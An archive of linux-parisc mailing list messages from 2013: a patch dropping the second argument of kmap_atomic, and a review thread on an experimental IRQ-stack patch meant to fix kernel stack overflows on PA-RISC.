Signed-off-by: Zhao Hongjiang <zhaohongjiang@huawei.com>
---
 arch/parisc/kernel/cache.c |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 4b12890..6df734a 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -609,7 +609,7 @@ void clear_user_highpage(struct page *page, unsigned long vaddr)
 	/* Clear using TMPALIAS region.  The page doesn't need to
 	   be flushed but the kernel mapping needs to be purged.  */
 
-	vto = kmap_atomic(page, KM_USER0);
+	vto = kmap_atomic(page);
 
 	/* The PA-RISC 2.0 Architecture book states on page F-6:
 	   "Before a write-capable translation is enabled, *all*
@@ -644,8 +644,8 @@ void copy_user_highpage(struct page *to, struct page *from,
 	   the `to' page must be flushed in copy_user_page_asm since
 	   it can be used to bring in executable code.  */
 
-	vfrom = kmap_atomic(from, KM_USER0);
-	vto = kmap_atomic(to, KM_USER1);
+	vfrom = kmap_atomic(from);
+	vto = kmap_atomic(to);
 
 	purge_kernel_dcache_page_asm((unsigned long)vto);
 	purge_tlb_start(flags);
-- 
1.7.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove the second argument of kmap_atomic
Date: Sat, 27 Apr 2013 13:43 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <1516359.zmskQ3qPXR@donald.sf-tec.de>
References: <517BAB83.2060308@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart7016372.H0QS4KliZX"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1367062998 3082 80.91.229.3 (27 Apr 2013 11:43:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 27 Apr 2013 11:43:18 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, dave.anglin@bell.net,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org
To: Zhao Hongjiang <zhaohongjiang@huawei.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 27 13:43:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UW3XF-0002BT-AM
	for glpp-linux-parisc@plane.gmane.org; Sat, 27 Apr 2013 13:43:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755385Ab3D0LnU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Apr 2013 07:43:20 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:35416 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754437Ab3D0LnT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Apr 2013 07:43:19 -0400
Original-Received: (qmail 32011 invoked from network); 27 Apr 2013 11:43:00 -0000
Original-Received: from p4fc9f36d.dip0.t-ipconnect.de ([::ffff:79.201.243.109]:60887 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <zhaohongjiang@huawei.com>; Sat, 27 Apr 2013 13:43:00 +0200
User-Agent: KMail/4.9.5 (Linux/3.8.5-1-desktop; KDE/4.9.5; i686; ; )
In-Reply-To: <517BAB83.2060308@huawei.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4964>


--nextPart7016372.H0QS4KliZX
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

Zhao Hongjiang wrote:
> kmap_atomic allows only one argument now, just move the second.

Do you mean "remove"?
--nextPart7016372.H0QS4KliZX
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlF7ucwACgkQXKSJPmm5/E5m+QCgkAvCajzcmz/zX7Plo1hyChwf
tLAAn1ZRMJhQfn9cWp8NrQaiBqcZ2mso
=nA7J
-----END PGP SIGNATURE-----

--nextPart7016372.H0QS4KliZX--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: increase kernel stack size to 32k
Date: Sat, 27 Apr 2013 23:53:43 +0200
Lines: 290
Approved: news@gmane.org
Message-ID: <517C48E7.7050701@gmx.de>
References: <20130423202203.GA7287@p100.box> <51778ADE.4010906@gmx.de> <1366836075.1971.22.camel@dabdike> <20130426223014.GA19671@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------000209020801060300070501"
X-Trace: ger.gmane.org 1367099625 9481 80.91.229.3 (27 Apr 2013 21:53:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 27 Apr 2013 21:53:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 27 23:53:49 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UWD40-00005Z-3b
	for glpp-linux-parisc@plane.gmane.org; Sat, 27 Apr 2013 23:53:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753544Ab3D0Vxr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Apr 2013 17:53:47 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60440 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752373Ab3D0Vxq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Apr 2013 17:53:46 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.35]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lgbwh-1UrZqX3X9R-00nxC8 for
 <linux-parisc@vger.kernel.org>; Sat, 27 Apr 2013 23:53:44 +0200
Original-Received: (qmail invoked by alias); 27 Apr 2013 21:53:44 -0000
Original-Received: from p54AD194D.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.25.77]
  by mail.gmx.net (mp035) with SMTP; 27 Apr 2013 23:53:44 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+2Bho55xO2IgeY6zxv+n6tjp/oLIxFgX95oZtlUi
	+lHSZxj3bB9rlh
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130426223014.GA19671@p100.box>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4965
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4965>

This is a multi-part message in MIME format.
--------------000209020801060300070501
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

On 04/27/2013 12:30 AM, Helge Deller wrote:
> * James Bottomley <James.Bottomley@HansenPartnership.com>:
>> On Wed, 2013-04-24 at 09:33 +0200, Helge Deller wrote:
>>> On 04/23/2013 10:22 PM, Helge Deller wrote:
>>>> commit e4e1e78facf7565cada909a69c7fb6415b6e7b83
>>>> Author: Helge Deller <deller@gmx.de>
>>>> Date:   Tue Apr 23 17:19:37 2013 +0200
>>>>
>>>> parisc: increase kernel stack size to 32k
>>>>
>>>> --- a/arch/parisc/include/asm/thread_info.h
>>>> +++ b/arch/parisc/include/asm/thread_info.h
>>>> -#define THREAD_SIZE_ORDER            2
>>>> +#define THREAD_SIZE_ORDER            3	/* 32k stack */
>>>
>>> I tested again, and it actually needs to be 64k stacks to not crash any longer.
>>> So, the right temporary fix is:
>>>
>>>> +#define THREAD_SIZE_ORDER            4	/* 64k stack */
>>>
>>> Will send updated patch soon.
>>
>> This is an indicator of something seriously wrong somewhere.  We've
>> always had the 16k stack just because of our large frames.  In theory,
>> the IRQ stack should only be the same size as the kernel stack, so if we
>> have both in the same place, we should only need at max 32k ... if we're
>> still seeing problems related to stack overrun, then it might be we have
>> an IRQ recursion where we shouldn't have.  To be honest, I have a hard
>> time explaining why our stacks should be over 8k.

Attached is a new version of my irq-stack-patch, which made my system really stable :-)
As test I did used "hackbench 300" (from the LTP project) which created 12000 threads:
uptime: 23:44:09 up 17 min,  2 users,  load average: 1232.23, 2966.09, 2466.39

My findings so far:
* kernel stack: THREAD_SIZE_ORDER needs to be at least 2 (=16k). x86 has 1 (8k).
  With 8k kernel stacks and  DEBUG_STACKOVERFLOW enabled, I get directly after bootup: 
stackcheck: swapper/0 has overflown a kernel stack (sp:bfc52030, stk bottom-top:bfc50000-bfc52000)

* IRQ stack: 16k seems sufficient as well.

So, the combination of 16k kernel stack and 16k irq stacks seems OK.

I still need to clean up my patch, test if backtraces still work (with which I currently
have problems) and prepare a final patch. 

Helge

--------------000209020801060300070501
Content-Type: text/plain; charset=UTF-8;
 name="irqstack.patch6"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="irqstack.patch6"

diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 7305ac8..ed88c37 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -12,6 +12,17 @@ config DEBUG_RODATA
          portion of the kernel code won't be covered by a TLB anymore.
          If in doubt, say "N".
 
+config DEBUG_STACKOVERFLOW
+	bool "Check for stack overflows"
+	depends on DEBUG_KERNEL
+	---help---
+	  Say Y here if you want to check the overflows of kernel, IRQ
+	  and exception stacks. This option will cause messages of the
+	  stacks in detail when free stack space drops below a certain
+	  limit.
+	  If in doubt, say "N".
+
+
 config DEBUG_STRICT_USER_COPY_CHECKS
 	bool "Strict copy size checks"
 	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
diff --git a/arch/parisc/include/asm/irq.h b/arch/parisc/include/asm/irq.h
index 1073599..0417ebf 100644
--- a/arch/parisc/include/asm/irq.h
+++ b/arch/parisc/include/asm/irq.h
@@ -10,6 +10,8 @@
 #include <linux/cpumask.h>
 #include <asm/types.h>
 
+#define __ARCH_HAS_DO_SOFTIRQ
+
 #define NO_IRQ		(-1)
 
 #ifdef CONFIG_GSC
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 09b54a5..d725591 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -20,8 +20,6 @@
 
 #endif /* __ASSEMBLY__ */
 
-#define KERNEL_STACK_SIZE 	(4*PAGE_SIZE)
-
 /*
  * Default implementation of macro that returns current
  * instruction pointer ("program counter").
@@ -33,6 +31,8 @@
 #endif
 #define current_text_addr() ({ void *pc; current_ia(pc); pc; })
 
+#define get_current_sp(sp)	__asm__("copy %%r30, %0" : "=r"(sp))
+
 #define TASK_SIZE_OF(tsk)       ((tsk)->thread.task_size)
 #define TASK_SIZE	        TASK_SIZE_OF(current)
 #define TASK_UNMAPPED_BASE      (current->thread.map_base)
@@ -61,6 +61,20 @@
 #ifndef __ASSEMBLY__
 
 /*
+ * IRQ STACK - used for irq and irq bh handler
+ */
+#ifdef __KERNEL__
+
+#define IRQ_STACK_SIZE (4096 << 2) /* = 16k, todo: use: PAGE_SIZE instead of 4096 */
+
+union irq_stack_union {
+	unsigned long irq_stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
+};
+
+DECLARE_PER_CPU(union irq_stack_union, irq_stack_union);
+#endif /* __KERNEL__ */
+
+/*
  * Data detected about CPUs at boot time which is the same for all CPU's.
  * HP boxes are SMP - ie identical processors.
  *
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index d1fb79a..85568cc 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -40,7 +40,7 @@ struct thread_info {
 
 /* thread information allocation */
 
-#define THREAD_SIZE_ORDER            2
+#define THREAD_SIZE_ORDER            2 /* keep value 2 for 16k, use 3 for 32k */
 /* Be sure to hunt all references to this down when you change the size of
  * the kernel stack */
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_SIZE_ORDER)
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f33201b..117d516 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1997,6 +1997,28 @@ ftrace_stub:
 ENDPROC(return_to_handler)
 #endif	/* CONFIG_FUNCTION_TRACER */
 
+/* void call_on_stack(unsigned long param1, void *func, unsigned long new_stack) */
+ENTRY(call_on_stack)
+	STREG	%sp, 8(%arg2)
+	STREG	%rp, 16(%arg2)
+
+	/* HPPA calling convention for function pointers */
+#ifdef CONFIG_64BIT
+	LDREG	16(%arg1), %arg1
+	bve,l	(%arg1), %rp
+	addi    0x40, %arg2, %sp
+#else
+	addi    0x40, %arg2, %sp
+	be,l	0(%sr4,%arg1), %sr0, %r31
+	copy	%r31, %rp
+#endif
+
+	addi    -0x40, %sp, %sp
+	LDREG	16(%sp),%rp
+	bv	(%rp)
+	LDREG	8(%sp),%sp
+ENDPROC(call_on_stack)
+
 
 get_register:
 	/*
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 8094d3e..6c23120 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -330,6 +330,60 @@ static inline int eirr_to_irq(unsigned long eirr)
 	return (BITS_PER_LONG - bit) + TIMER_IRQ;
 }
 
+
+int sysctl_panic_on_stackoverflow __read_mostly;
+
+/*
+ * Stack overflow check:
+ */
+static inline void stack_overflow_check(unsigned long sp, unsigned long stack_start,
+			unsigned long stack_size, const char *stackname)
+{
+#ifdef CONFIG_DEBUG_STACKOVERFLOW
+#define STACK_MARGIN	128
+	if (likely((sp - stack_start) < (stack_size - STACK_MARGIN)))
+		return;
+
+	WARN("stackcheck: %s has overflown the %s stack (sp:%lx, stk bottom-top:%lx-%lx)\n",
+		current->comm, stackname, sp,
+		stack_start, stack_start + stack_size);
+
+	if (sysctl_panic_on_stackoverflow)
+		panic("low stack detected by irq handler - check messages\n");
+#endif
+}
+
+extern void call_on_stack(unsigned long param1, void *func, unsigned long new_stack); /* in entry.S */
+
+
+static void noinline execute_on_irq_stack(void *func, unsigned long param1)
+{
+	int cpu = smp_processor_id();
+	unsigned long sp, irq_stack;
+	void (*direct_call)(unsigned long param1) = func;
+
+	irq_stack = (unsigned long) &per_cpu(irq_stack_union, cpu);
+	get_current_sp(sp);
+
+	/*
+	 * this is where we try to switch to the IRQ stack. However, if we are
+	 * already using the IRQ stack (because we interrupted a hardirq
+	 * handler) we can't do that and just have to keep using the
+	 * current stack (which is the irq stack already after all)
+	 */
+
+	if ((sp - irq_stack) >= IRQ_STACK_SIZE) {
+		stack_overflow_check(sp, (unsigned long)task_stack_page(current), THREAD_SIZE, "kernel");
+		call_on_stack(param1, func, irq_stack);
+		// WARN_ON_ONCE(1); /* enable to check if irq stack is being used. */
+		// TODO: check if backtrace works from irq stack
+		// TODO: use get_current_sp() macro in other code as well.
+	} else {
+		stack_overflow_check(sp,  irq_stack, IRQ_STACK_SIZE, "irq");
+		direct_call(param1);
+	}
+}
+
 /* ONLY called from entry.S:intr_extint() */
 void do_cpu_irq_mask(struct pt_regs *regs)
 {
@@ -364,7 +418,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		goto set_out;
 	}
 #endif
-	generic_handle_irq(irq);
+	execute_on_irq_stack(&generic_handle_irq, irq);
 
  out:
 	irq_exit();
@@ -423,3 +477,24 @@ void __init init_IRQ(void)
 
 }
 
+DEFINE_PER_CPU(union irq_stack_union, irq_stack_union);
+
+asmlinkage void do_softirq(void)
+{
+	__u32 pending;
+	unsigned long flags;
+
+	if (in_interrupt())
+		return;
+
+	local_irq_save(flags);
+
+	pending = local_softirq_pending();
+
+	/* Switch to interrupt stack */
+	if (pending) {
+		execute_on_irq_stack(&__do_softirq, 0);
+		WARN_ON_ONCE(softirq_count());
+	}
+	local_irq_restore(flags);
+}

--------------000209020801060300070501--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: increase kernel stack size to 32k
Date: Sat, 27 Apr 2013 19:09:15 -0400
Lines: 115
Approved: news@gmane.org
Message-ID: <BLU0-SMTP100ADB80BC8ECEF0AB6F92A97B00@phx.gbl>
References: <20130423202203.GA7287@p100.box> <51778ADE.4010906@gmx.de> <1366836075.1971.22.camel@dabdike> <20130426223014.GA19671@p100.box> <517C48E7.7050701@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367104195 22542 80.91.229.3 (27 Apr 2013 23:09:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 27 Apr 2013 23:09:55 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 28 01:09:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UWEFi-0004Zx-SH
	for glpp-linux-parisc@plane.gmane.org; Sun, 28 Apr 2013 01:09:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753591Ab3D0XJ5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Apr 2013 19:09:57 -0400
Original-Received: from blu0-omc4-s29.blu0.hotmail.com ([65.55.111.168]:33283 "EHLO
	blu0-omc4-s29.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752985Ab3D0XJ4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Apr 2013 19:09:56 -0400
Original-Received: from BLU0-SMTP100 ([65.55.111.136]) by blu0-omc4-s29.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 27 Apr 2013 16:09:56 -0700
X-EIP: [lb4Acb+BHWesiiy2MA+waXK4KtytJE7s]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP100.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 27 Apr 2013 16:09:54 -0700
In-Reply-To: <517C48E7.7050701@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 27 Apr 2013 23:09:55.0065 (UTC) FILETIME=[546C0E90:01CE439C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4966
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4966>

On 27-Apr-13, at 5:53 PM, Helge Deller wrote:

> On 04/27/2013 12:30 AM, Helge Deller wrote:
>> * James Bottomley <James.Bottomley@HansenPartnership.com>:
>>> On Wed, 2013-04-24 at 09:33 +0200, Helge Deller wrote:
>>>> On 04/23/2013 10:22 PM, Helge Deller wrote:
>>>>> commit e4e1e78facf7565cada909a69c7fb6415b6e7b83
>>>>> Author: Helge Deller <deller@gmx.de>
>>>>> Date:   Tue Apr 23 17:19:37 2013 +0200
>>>>>
>>>>> parisc: increase kernel stack size to 32k
>>>>>
>>>>> --- a/arch/parisc/include/asm/thread_info.h
>>>>> +++ b/arch/parisc/include/asm/thread_info.h
>>>>> -#define THREAD_SIZE_ORDER            2
>>>>> +#define THREAD_SIZE_ORDER            3	/* 32k stack */
>>>>
>>>> I tested again, and it actually needs to be 64k stacks to not  
>>>> crash any longer.
>>>> So, the right temporary fix is:
>>>>
>>>>> +#define THREAD_SIZE_ORDER            4	/* 64k stack */
>>>>
>>>> Will send updated patch soon.
>>>
>>> This is an indicator of something seriously wrong somewhere.  We've
>>> always had the 16k stack just because of our large frames.  In  
>>> theory,
>>> the IRQ stack should only be the same size as the kernel stack, so  
>>> if we
>>> have both in the same place, we should only need at max 32k ... if  
>>> we're
>>> still seeing problems related to stack overrun, then it might be  
>>> we have
>>> an IRQ recursion where we shouldn't have.  To be honest, I have a  
>>> hard
>>> time explaining why our stacks should be over 8k.
>
> Attached is a new version of my irq-stack-patch, which made my  
> system really stable :-)
> As test I did used "hackbench 300" (from the LTP project) which  
> created 12000 threads:
> uptime: 23:44:09 up 17 min,  2 users,  load average: 1232.23,  
> 2966.09, 2466.39
>
> My findings so far:
> * kernel stack: THREAD_SIZE_ORDER needs to be at least 2 (=16k). x86  
> has 1 (8k).
>  With 8k kernel stacks and  DEBUG_STACKOVERFLOW enabled, I get  
> directly after bootup:
> stackcheck: swapper/0 has overflown a kernel stack (sp:bfc52030, stk  
> bottom-top:bfc50000-bfc52000)
>
> * IRQ stack: 16k seems sufficient as well.
>
> So, the combination of 16k kernel stack and 16k irq stacks seems OK.
>
> I still need to clean up my patch, test if backtraces still work  
> (with which I currently
> have problems) and prepare a final patch.


So far, I haven't been able to break the first version of the irqstack  
patch.  It's working far better than
setting THREAD_SIZE_ORDER to 4.  There were various application errors  
with the latter.  Building
new version.

I have the following comments:

+#define get_current_sp(sp)	__asm__("copy %%r30, %0" : "=r"(sp))

Probably, should be __asm__ __volatile__.  I'm not sure that all changes
to the stack pointer are known to GCC.

+/* void call_on_stack(unsigned long param1, void *func, unsigned long  
new_stack) */
+ENTRY(call_on_stack)
+	STREG	%sp, 8(%arg2)
+	STREG	%rp, 16(%arg2)
+
+	/* HPPA calling convention for function pointers */
+#ifdef CONFIG_64BIT
+	LDREG	16(%arg1), %arg1
+	bve,l	(%arg1), %rp
+	addi    0x40, %arg2, %sp
+#else
+	addi    0x40, %arg2, %sp
+	be,l	0(%sr4,%arg1), %sr0, %r31
+	copy	%r31, %rp
+#endif
+
+	addi    -0x40, %sp, %sp
+	LDREG	16(%sp),%rp
+	bv	(%rp)
+	LDREG	8(%sp),%sp
+ENDPROC(call_on_stack)

This doesn't full adhere to calling conventions but may work in  
limited circumstances.  For
example, 64-bit calls nominally require setup of the argument  
pointer.  There's also save
and restore of the PIC register if it can be modified.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zhao Hongjiang <zhaohongjiang@huawei.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove the second argument of kmap_atomic
Date: Sun, 28 Apr 2013 09:05:22 +0800
Lines: 13
Approved: news@gmane.org
Message-ID: <517C75D2.2080007@huawei.com>
References: <517BAB83.2060308@huawei.com> <1516359.zmskQ3qPXR@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367111144 11612 80.91.229.3 (28 Apr 2013 01:05:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 28 Apr 2013 01:05:44 +0000 (UTC)
Cc: <jejb@parisc-linux.org>, <deller@gmx.de>, <dave.anglin@bell.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	<linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 28 03:05:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UWG3k-0007gB-LK
	for glpp-linux-parisc@plane.gmane.org; Sun, 28 Apr 2013 03:05:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754513Ab3D1BFn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Apr 2013 21:05:43 -0400
Original-Received: from szxga01-in.huawei.com ([119.145.14.64]:22606 "EHLO
	szxga01-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753030Ab3D1BFn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Apr 2013 21:05:43 -0400
Original-Received: from 172.24.2.119 (EHLO szxeml213-edg.china.huawei.com) ([172.24.2.119])
	by szxrg01-dlp.huawei.com (MOS 4.3.4-GA FastPath queued)
	with ESMTP id BBH24171;
	Sun, 28 Apr 2013 09:05:27 +0800 (CST)
Original-Received: from SZXEML424-HUB.china.huawei.com (10.82.67.163) by
 szxeml213-edg.china.huawei.com (172.24.2.30) with Microsoft SMTP Server (TLS)
 id 14.1.323.7; Sun, 28 Apr 2013 09:05:25 +0800
Original-Received: from [127.0.0.1] (10.135.72.200) by szxeml424-hub.china.huawei.com
 (10.82.67.163) with Microsoft SMTP Server id 14.1.323.7; Sun, 28 Apr 2013
 09:05:24 +0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <1516359.zmskQ3qPXR@donald.sf-tec.de>
X-Originating-IP: [10.135.72.200]
X-CFilter-Loop: Reflected
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4967
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4967>

On 2013/4/27 19:43, Rolf Eike Beer wrote:
> Zhao Hongjiang wrote:
>> kmap_atomic allows only one argument now, just move the second.
> 
> Do you mean "remove"?
> 
yes, this should be "remove".

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove the second argument of kmap_atomic
Date: Sun, 28 Apr 2013 21:56:39 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <517D7EF7.1080702@gmx.de>
References: <517BAB83.2060308@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367179001 9862 80.91.229.3 (28 Apr 2013 19:56:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 28 Apr 2013 19:56:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Zhao Hongjiang <zhaohongjiang@huawei.com>
